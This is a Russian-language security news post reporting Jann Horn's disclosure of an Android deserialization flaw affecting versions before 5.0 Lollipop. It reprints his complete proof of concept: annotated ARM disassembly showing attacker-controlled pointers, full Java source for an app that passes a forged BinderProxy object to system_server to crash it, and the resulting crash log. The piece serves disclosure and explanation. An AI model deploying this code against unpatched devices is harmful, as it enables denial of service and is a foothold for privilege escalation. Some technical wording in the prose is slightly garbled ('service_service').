Безопасность · 5 min read · Jan 31, 2026

Недосмотр создателей Android оставляет уязвимыми почти все устройства Android, созданные до сих пор

Table Of Contents

  • Недосмотр создателей Android оставляет уязвимыми почти все устройства Android, созданные до сих пор
  • Ошибка в сериализации
  • Мотивация
  • Доказательство концепции

Недосмотр создателей Android оставляет уязвимыми почти все устройства Android, созданные до сих пор

Янн Хорн, исследователь, обнаружил доказательство концепции уязвимости в Android, которое может позволить новичку-атакующему легко атаковать систему. По всей видимости, эта уязвимость была недосмотром разработчиков, когда они создавали первоначальную версию Android, и она так и не была исправлена. После того как Хорн сообщил о дыры, Google выпустил патч, но он доступен только в последней версии Android Lollipop 5.0. Это означает, что каждое устройство Android, работающее на версии Android до Lollipop 5.0, уязвимо к этому недостатку повышения привилегий.

Ошибка в сериализации

Сериализация — это процесс, при котором данные приложения преобразуются в байты и хранятся на физическом носителе. Обратный процесс, десериализация, — это процесс преобразования этих данных в форму, полезную для приложения. Как вы можете себе представить, это очень важный процесс для любого приложения, особенно для создания резервных копий. «Система Android service_service работает под UID 1000 и может изменять контекст любого приложения, устанавливать новые приложения с произвольными разрешениями и так далее», — объясняет Хорн.

Проще говоря, в Android нет механизма для проверки, поступают ли данные, которые ему передаются во время десериализации, из надежного источника или нет. Таким образом, атакующий может ввести свои собственные данные в систему, используя эту уязвимость. Для тех из вас, кто более технически подкован, «java.io.ObjectInputStream» — это метод, который можно использовать.

Мотивация

Хорн пришел к идее о том, что такая уязвимость может существовать, после того как посетил университетскую лекцию о уязвимостях веб-приложений PHP. Он предположил, что разработчики Android также могли совершить аналогичную ошибку и забыли о проверке безопасности. И действительно, его предположения подтвердились, когда он вернулся и исследовал ОС. И, к счастью, он решил сообщить команде Android об этом, а не использовать это. Разработчики, вероятно, пропустили этот недостаток, так как это не то, что вы действительно тестируете.

Хорошая новость заключается в том, что недостаток не может быть использован напрямую из-за встроенных ограничений Android на привилегии. Таким образом, атакующий вынужден использовать другую уязвимость, прежде чем он сможет использовать эту. Команда Android выпустила патч для недостатка ранее в ноябре как часть выпуска кода AOSP (Android Open Source Project). Но, как мы упоминали, этот патч доступен только для Android 5.0 Lollipop. И поскольку среда Android так сильно фрагментирована, мы не можем с уверенностью сказать, дойдет ли патч до какого-либо устройства, кроме Nexus.

Доказательство концепции

Вся PoC приведена ниже :

Класс android.os.BinderProxy содержит метод finalize, который вызывает нативный код. Этот нативный код затем использует значения двух полей типа int/long (в зависимости от версии Android), преобразует их в указатели и следует за ними. На Android 4.4.3 это то место, где один из этих указателей оказывается. r0 содержит указатель, предоставленный атакующим, и если атакующий может вставить данные в процесс по известному адресу, он получает произвольное выполнение кода в system_server: # атакующий контролирует указатель в r0 0000d1c0 ) const>: d1c0: b570 push {r4, r5, r6, lr} d1c2: 4605 mov r5, r0 d1c4: 6844 ldr r4, [r0, #4] # атакующий контролирует r4 d1c6: 460e mov r6, r1 d1c8: 4620 mov r0, r4 d1ca: f7fd e922 blx a410 d1ce: 2801 cmp r0, #1 d1d0: d10b bne.n d1ea ) const+0x2a> d1d2: 68a0 ldr r0, [r4, #8] # атакующий контролирует r0 d1d4: 4631 mov r1, r6 d1d6: 6803 ldr r3, [r0, #0] # атакующий контролирует r3 d1d8: 68da ldr r2, [r3, #12] # атакующий контролирует r2 d1da: 4790 blx r2 # переход к указателю r2, контролируемому атакующим. Android действительно имеет ASLR, но, как и все приложения, system_server создается из процесса zygote – другими словами, все приложения имеют одинаковую базовую структуру памяти, как system_server, и, следовательно, должны быть в состоянии обойти ASLR system_server. Вот мой код PoC для сбоя. Поместите его в приложение Android, установите это приложение, откройте его. Если ничего не происходит, сборщик мусора может занимать время – попробуйте делать другие вещи или снова открыть приложение PoC. Ваше устройство должно перезагрузиться через несколько секунд.

package net.thejh.badserial; import java.io.Serializable; import java.io.UnsupportedEncodingException; import java.lang.reflect.Constructor; import java.lang.reflect.Field; import java.lang.reflect.Method; import dalvik.system.DexClassLoader; import android.app.Activity; import android.content.Context; import android.os.Bundle; import android.os.IBinder; import android.os.Parcel; import android.os.UserHandle; import android.os.UserManager; import android.util.Log; public class MainActivity extends Activity { private static final java.lang.String DESCRIPTOR = “android.os.IUserManager”;
private Class clStub;
private Class clProxy;
private int TRANSACTION_setApplicationRestrictions;
private IBinder mRemote; public void setApplicationRestrictions(java.lang.String packageName, android.os.Bundle restrictions, int
userHandle) throws android.os.RemoteException
{
android.os.Parcel _data = android.os.Parcel.obtain();
android.os.Parcel _reply = android.os.Parcel.obtain();
try {
_data.writeInterfaceToken(DESCRIPTOR);
_data.writeString(packageName);
_data.writeInt(1);
restrictions.writeToParcel(_data, 0);
_data.writeInt(userHandle); byte[] data = _data.marshall();
for (int i=0; true; i++) {
if (data[i] == ‘A’ && data[i+1] == ‘A’ && data[i+2] == ‘d’ && data[i+3] == ‘r’) {
data[i] = ‘a’;
data[i+1] = ‘n’;
break;
}
}
_data.recycle();
_data = Parcel.obtain();
_data.unmarshall(data, 0, data.length); mRemote.transact(TRANSACTION_setApplicationRestrictions, _data, _reply, 0);
_reply.readException();
}
finally {
_reply.recycle();
_data.recycle();
}
} @Override
public void onCreate(Bundle savedInstanceState) {
super.onCreate(savedInstanceState);
setContentView(R.layout.activity_main); Log.i(“badserial”, “starting… (v3)”); Context ctx = getBaseContext();
try {
Bundle b = new Bundle();
AAdroid.os.BinderProxy evilProxy = new AAdroid.os.BinderProxy();
b.putSerializable(“eatthis”, evilProxy); Class clIUserManager = Class.forName(“android.os.IUserManager”);
Class[] umSubclasses = clIUserManager.getDeclaredClasses();
System.out.println(umSubclasses.length+” inner classes found”);
Class clStub = null;
for (Class c: umSubclasses) {
System.out.println(“inner class: “+c.getCanonicalName());
if (c.getCanonicalName().equals(“android.os.IUserManager.Stub”)) {
clStub = c;
}
} Field fTRANSACTION_setApplicationRestrictions =
clStub.getDeclaredField(“TRANSACTION_setApplicationRestrictions”);
fTRANSACTION_setApplicationRestrictions.setAccessible(true);
TRANSACTION_setApplicationRestrictions =
fTRANSACTION_setApplicationRestrictions.getInt(null); UserManager um = (UserManager) ctx.getSystemService(Context.USER_SERVICE);
Field fService = UserManager.class.getDeclaredField(“mService”);
fService.setAccessible(true);
Object proxy = fService.get(um); Class[] stSubclasses = clStub.getDeclaredClasses();
System.out.println(stSubclasses.length+” inner classes found”);
clProxy = null;
for (Class c: stSubclasses) {
System.out.println(“inner class: “+c.getCanonicalName());
if (c.getCanonicalName().equals(“android.os.IUserManager.Stub.Proxy”)) {
clProxy = c;
}
} Field fRemote = clProxy.getDeclaredField(“mRemote”);
fRemote.setAccessible(true);
mRemote = (IBinder) fRemote.get(proxy); UserHandle me = android.os.Process.myUserHandle();
setApplicationRestrictions(ctx.getPackageName(), b, me.hashCode()); Log.i(“badserial”, “waiting for boom here and over in the system service…”);
} catch (Exception e) {
throw new RuntimeException(e);
}
}
}

package AAdroid.os; import java.io.Serializable; public class BinderProxy implements Serializable {
private static final long serialVersionUID = 0;
public long mObject = 0x1337beef;
public long mOrgue = 0x1337beef;
}

Это то, что вы должны увидеть в системном журнале: F/libc ( 382): Фатальный сигнал 11 (SIGSEGV) на 0x1337bef3 (код=1), поток 391 (FinalizerDaemon)
[…]
I/DEBUG ( 47): pid: 382, tid: 391, имя: FinalizerDaemon >>> system_server <<<
I/DEBUG ( 47): сигнал 11 (SIGSEGV), код 1 (SEGV_MAPERR), адрес сбоя 1337bef3
I/DEBUG ( 47): r0 1337beef r1 b6de7431 r2 b6ee035c r3 81574845
I/DEBUG ( 47): r4 b6de7431 r5 1337beef r6 b7079ec8 r7 1337beef
I/DEBUG ( 47): r8 1337beef r9 abaf5f68 sl b7056678 fp a928bb04
I/DEBUG ( 47): ip b6e1e8c8 sp a928bac8 lr b6de63d9 pc b6e6c15e cpsr 60000030

Ресурс: Secure List

Share: X/Twitter LinkedIn

Get new posts in your inbox

No spam. Unsubscribe anytime.